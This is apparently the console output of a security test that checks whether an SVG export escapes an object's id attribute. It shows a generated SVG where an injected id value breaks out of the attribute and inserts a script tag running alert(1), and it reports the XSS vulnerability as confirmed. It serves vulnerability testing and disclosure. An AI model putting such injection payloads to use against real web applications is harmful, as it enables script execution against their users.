Testing XSS via id property injection...

=== Generated SVG ===
<g transform="matrix(1 0 0 1 0 0)" id=""><script>alert(1)</script><rect id=""  >
<rect style="stroke: none; stroke-width: 1; stroke-dasharray: none; stroke-linecap: butt; stroke-dashoffset: 0; stroke-linejoin: miter; stroke-miterlimit: 4; fill: rgb(255,0,0); fill-rule: nonzero; opacity: 1;"  x="-50" y="-50" rx="0" ry="0" width="100" height="100" />
</g>

=== End SVG ===

Payload analysis:
- Is escaped: false
- Is unescaped: true

❌ VULNERABILITY CONFIRMED: Payload is NOT escaped in SVG output!
The id attribute allows XSS injection via SVG export.